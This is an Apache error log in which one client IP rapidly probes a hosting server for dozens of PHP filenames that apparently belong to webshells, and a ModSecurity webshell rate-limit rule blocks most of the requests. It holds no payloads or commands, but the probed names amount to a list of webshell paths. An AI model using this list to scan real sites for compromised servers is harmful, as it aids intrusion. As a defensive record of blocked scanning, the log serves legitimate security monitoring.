[Mon Apr 13 14:30:19.015049 2026] [:error] [pid 63406:tid 63425] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/bhm.php
[Mon Apr 13 14:30:19.268116 2026] [:error] [pid 63406:tid 63424] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/ahutr.php
[Mon Apr 13 14:30:19.521417 2026] [:error] [pid 63406:tid 63412] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/lupo.php
[Mon Apr 13 14:30:19.820270 2026] [:error] [pid 63406:tid 63413] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/bdktk.php
[Mon Apr 13 14:30:20.083931 2026] [:error] [pid 63406:tid 63432] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/amwxl.php
[Mon Apr 13 14:30:20.333918 2026] [:error] [pid 63406:tid 63417] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Mon Apr 13 14:30:20.587466 2026] [:error] [pid 63406:tid 63434] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Mon Apr 13 14:30:21.305385 2026] [:error] [pid 63406:tid 63425] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/rujgeote.php
[Mon Apr 13 14:30:21.808119 2026] [:error] [pid 63406:tid 63428] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/kj.php
[Mon Apr 13 14:30:22.062896 2026] [:error] [pid 63406:tid 63429] [client 4.210.65.73:32076] File does not exist: /usr/local/apache/htdocs/suspended-page/only.php
[Mon Apr 13 14:30:23.057647 2026] [:error] [pid 63406:tid 63431] [client 4.210.65.73:32076] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/un.php"] [unique_id "adyNf7HZEIkQ0Zmgp5qvKgAAANQ"]
[Mon Apr 13 14:30:26.152856 2026] [:error] [pid 63310:tid 63360] [client 4.210.65.73:32122] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/un.php"] [unique_id "adyNgnoXpRU5ztmwPjIPggAAAFA"]
[Mon Apr 13 14:30:28.547130 2026] [:error] [pid 57183:tid 57190] [client 4.210.65.73:26761] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/un.php"] [unique_id "adyNhDDO3t8R5NaxzYRxGAAAAUU"]
[Mon Apr 13 14:30:34.594556 2026] [:error] [pid 63310:tid 63362] [client 4.210.65.73:33574] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/un.php"] [unique_id "adyNinoXpRU5ztmwPjIPhAAAAFI"]
[Mon Apr 13 14:30:35.695005 2026] [:error] [pid 7228:tid 7243] [client 4.210.65.73:1809] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-bugs.php"] [unique_id "adyNiwEnn1dQrOSHHNUFrwAAAQ0"]
[Mon Apr 13 14:30:36.980734 2026] [:error] [pid 7228:tid 7244] [client 4.210.65.73:1576] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-bugs.php"] [unique_id "adyNjAEnn1dQrOSHHNUFswAAAQ4"]
[Mon Apr 13 14:30:38.037496 2026] [:error] [pid 7228:tid 7249] [client 4.210.65.73:36421] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-bugs.php"] [unique_id "adyNjgEnn1dQrOSHHNUFtwAAARM"]
[Mon Apr 13 14:30:41.111019 2026] [:error] [pid 63406:tid 63418] [client 4.210.65.73:21489] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-bugs.php"] [unique_id "adyNkbHZEIkQ0Zmgp5qvYwAAAMc"]
[Mon Apr 13 14:30:43.402204 2026] [:error] [pid 63310:tid 63368] [client 4.210.65.73:17217] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "adyNk3oXpRU5ztmwPjIPiwAAAFg"]
[Mon Apr 13 14:30:45.330016 2026] [:error] [pid 7228:tid 7234] [client 4.210.65.73:24182] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "adyNlQEnn1dQrOSHHNUFzAAAAQQ"]
[Mon Apr 13 14:30:46.689758 2026] [:error] [pid 7228:tid 7230] [client 4.210.65.73:36421] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "adyNlgEnn1dQrOSHHNUF0gAAAQA"]
[Mon Apr 13 14:30:54.551221 2026] [:error] [pid 63309:tid 63324] [client 4.210.65.73:30885] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "adyNnkpIKZ10weXpf0Xn7AAAAAs"]
[Mon Apr 13 14:30:56.979343 2026] [:error] [pid 7228:tid 7251] [client 4.210.65.73:25920] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs6.php"] [unique_id "adyNoAEnn1dQrOSHHNUF9wAAARU"]
[Mon Apr 13 14:31:01.285684 2026] [:error] [pid 7228:tid 7233] [client 4.210.65.73:13918] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs6.php"] [unique_id "adyNpQEnn1dQrOSHHNUGCwAAAQM"]
[Mon Apr 13 14:31:03.205445 2026] [:error] [pid 57183:tid 57201] [client 4.210.65.73:19780] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs6.php"] [unique_id "adyNpzDO3t8R5NaxzYRxPQAAAVA"]
[Mon Apr 13 14:31:05.215564 2026] [:error] [pid 7228:tid 7242] [client 4.210.65.73:25940] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs6.php"] [unique_id "adyNqQEnn1dQrOSHHNUGKAAAAQw"]
[Mon Apr 13 14:31:06.457371 2026] [:error] [pid 57183:tid 57207] [client 4.210.65.73:34782] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "adyNqjDO3t8R5NaxzYRxRwAAAVY"]
[Mon Apr 13 14:31:08.305900 2026] [:error] [pid 63406:tid 63434] [client 4.210.65.73:29875] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "adyNrLHZEIkQ0Zmgp5qvlQAAANc"]
[Mon Apr 13 14:31:09.387707 2026] [:error] [pid 7228:tid 7238] [client 4.210.65.73:19359] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "adyNrQEnn1dQrOSHHNUGOAAAAQg"]
[Mon Apr 13 14:31:10.676862 2026] [:error] [pid 57183:tid 57191] [client 4.210.65.73:32155] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "adyNrjDO3t8R5NaxzYRxYAAAAUY"]
[Mon Apr 13 14:31:12.303304 2026] [:error] [pid 7228:tid 7233] [client 4.210.65.73:21428] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/btx25.php"] [unique_id "adyNsAEnn1dQrOSHHNUGRwAAAQM"]
[Mon Apr 13 14:31:13.264782 2026] [:error] [pid 63406:tid 63424] [client 4.210.65.73:19332] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/btx25.php"] [unique_id "adyNsbHZEIkQ0Zmgp5qvmAAAAM0"]
[Mon Apr 13 14:31:15.262086 2026] [:error] [pid 63406:tid 63431] [client 4.210.65.73:35308] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/btx25.php"] [unique_id "adyNs7HZEIkQ0Zmgp5qvngAAANQ"]
[Mon Apr 13 14:31:18.217986 2026] [:error] [pid 57183:tid 57187] [client 4.210.65.73:21400] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/btx25.php"] [unique_id "adyNtjDO3t8R5NaxzYRxjQAAAUI"]
[Mon Apr 13 14:31:21.505006 2026] [:error] [pid 57183:tid 57186] [client 4.210.65.73:21415] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "adyNuTDO3t8R5NaxzYRxogAAAUE"]
[Mon Apr 13 14:31:24.962803 2026] [:error] [pid 63311:tid 63395] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Mon Apr 13 14:31:25.239422 2026] [:error] [pid 63311:tid 63372] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/co.php
[Mon Apr 13 14:31:25.600655 2026] [:error] [pid 63311:tid 63390] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/obfuscate.php
[Mon Apr 13 14:31:25.864369 2026] [:error] [pid 63311:tid 63388] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/ww.php
[Mon Apr 13 14:31:26.139105 2026] [:error] [pid 63311:tid 63392] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-tymanage.php
[Mon Apr 13 14:31:26.468548 2026] [:error] [pid 63311:tid 63385] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/size.php
[Mon Apr 13 14:31:26.719471 2026] [:error] [pid 63311:tid 63380] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/rithin.php
[Mon Apr 13 14:31:27.270076 2026] [:error] [pid 63311:tid 63393] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/55.php
[Mon Apr 13 14:31:27.718668 2026] [:error] [pid 63311:tid 63391] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-block.php
[Mon Apr 13 14:31:27.970036 2026] [:error] [pid 63311:tid 63374] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/tiny2.php
[Mon Apr 13 14:31:28.357033 2026] [:error] [pid 63311:tid 63372] [client 4.210.65.73:21379] File does not exist: /usr/local/apache/htdocs/suspended-page/bardbdze.php
[Mon Apr 13 14:31:28.623300 2026] [:error] [pid 63311:tid 63390] [client 4.210.65.73:21379] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz.php"] [unique_id "adyNwKHjrGN1MqBCVFmmBgAAAJM"]
[Mon Apr 13 14:31:29.340559 2026] [:error] [pid 57183:tid 57194] [client 4.210.65.73:27224] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz.php"] [unique_id "adyNwTDO3t8R5NaxzYRxvAAAAUk"]
[Mon Apr 13 14:31:32.833992 2026] [:error] [pid 63310:tid 63364] [client 4.210.65.73:19033] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz.php"] [unique_id "adyNxHoXpRU5ztmwPjIP1wAAAFQ"]
[Mon Apr 13 14:31:36.069629 2026] [:error] [pid 63310:tid 63353] [client 4.210.65.73:33920] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz.php"] [unique_id "adyNyHoXpRU5ztmwPjIP3QAAAEk"]
[Mon Apr 13 14:31:37.435637 2026] [:error] [pid 7228:tid 7251] [client 4.210.65.73:18965] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "adyNyQEnn1dQrOSHHNUGsQAAARU"]
[Mon Apr 13 14:31:41.326927 2026] [:error] [pid 63309:tid 63330] [client 4.210.65.73:35283] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "adyNzUpIKZ10weXpf0XoDgAAABE"]
[Mon Apr 13 14:31:42.140421 2026] [:error] [pid 63406:tid 63431] [client 4.210.65.73:20581] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "adyNzrHZEIkQ0Zmgp5qvwQAAANQ"]
[Mon Apr 13 14:31:43.362677 2026] [:error] [pid 7228:tid 7251] [client 4.210.65.73:33156] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "adyNzwEnn1dQrOSHHNUGyQAAARU"]
[Mon Apr 13 14:31:44.777389 2026] [:error] [pid 7228:tid 7253] [client 4.210.65.73:42237] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.yuf.php"] [unique_id "adyN0AEnn1dQrOSHHNUG1QAAARc"]
[Mon Apr 13 14:31:46.312727 2026] [:error] [pid 7228:tid 7248] [client 4.210.65.73:14720] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.yuf.php"] [unique_id "adyN0gEnn1dQrOSHHNUG3AAAARI"]
[Mon Apr 13 14:31:47.798203 2026] [:error] [pid 7228:tid 7242] [client 4.210.65.73:14747] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.yuf.php"] [unique_id "adyN0wEnn1dQrOSHHNUG5QAAAQw"]
[Mon Apr 13 14:31:49.678687 2026] [:error] [pid 63310:tid 63358] [client 4.210.65.73:43696] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.yuf.php"] [unique_id "adyN1XoXpRU5ztmwPjIP5QAAAE4"]
[Mon Apr 13 14:31:50.885903 2026] [:error] [pid 7228:tid 7232] [client 4.210.65.73:14746] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "adyN1gEnn1dQrOSHHNUG_AAAAQI"]
[Mon Apr 13 14:31:52.947283 2026] [:error] [pid 63310:tid 63357] [client 4.210.65.73:22771] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "adyN2HoXpRU5ztmwPjIP6gAAAE0"]
[Mon Apr 13 14:31:54.796977 2026] [:error] [pid 57183:tid 57201] [client 4.210.65.73:43666] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "adyN2jDO3t8R5NaxzYRx6AAAAVA"]
[Mon Apr 13 14:31:56.485663 2026] [:error] [pid 57183:tid 57197] [client 4.210.65.73:13845] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "adyN3DDO3t8R5NaxzYRx8QAAAUw"]
[Mon Apr 13 14:31:59.189766 2026] [:error] [pid 57183:tid 57208] [client 4.210.65.73:38597] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "adyN3zDO3t8R5NaxzYRx-QAAAVc"]
[Mon Apr 13 14:32:01.481213 2026] [:error] [pid 57183:tid 57190] [client 4.210.65.73:20584] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "adyN4TDO3t8R5NaxzYRyAQAAAUU"]
[Mon Apr 13 14:32:03.036481 2026] [:error] [pid 57183:tid 57188] [client 4.210.65.73:21785] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "adyN4zDO3t8R5NaxzYRyAwAAAUM"]
[Mon Apr 13 14:32:05.008684 2026] [:error] [pid 57183:tid 57201] [client 4.210.65.73:1235] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "adyN5TDO3t8R5NaxzYRyBgAAAVA"]
[Mon Apr 13 14:32:05.960253 2026] [:error] [pid 57183:tid 57199] [client 4.210.65.73:31413] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new4.php"] [unique_id "adyN5TDO3t8R5NaxzYRyCwAAAU4"]
[Mon Apr 13 14:32:07.035201 2026] [:error] [pid 57183:tid 57209] [client 4.210.65.73:20582] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new4.php"] [unique_id "adyN5zDO3t8R5NaxzYRyEAAAAVg"]
[Mon Apr 13 14:32:09.016325 2026] [:error] [pid 63309:tid 63322] [client 4.210.65.73:1248] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new4.php"] [unique_id "adyN6UpIKZ10weXpf0XoLgAAAAk"]
[Mon Apr 13 14:32:10.796522 2026] [:error] [pid 63406:tid 63414] [client 4.210.65.73:35326] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new4.php"] [unique_id "adyN6rHZEIkQ0Zmgp5qwAAAAAMM"]
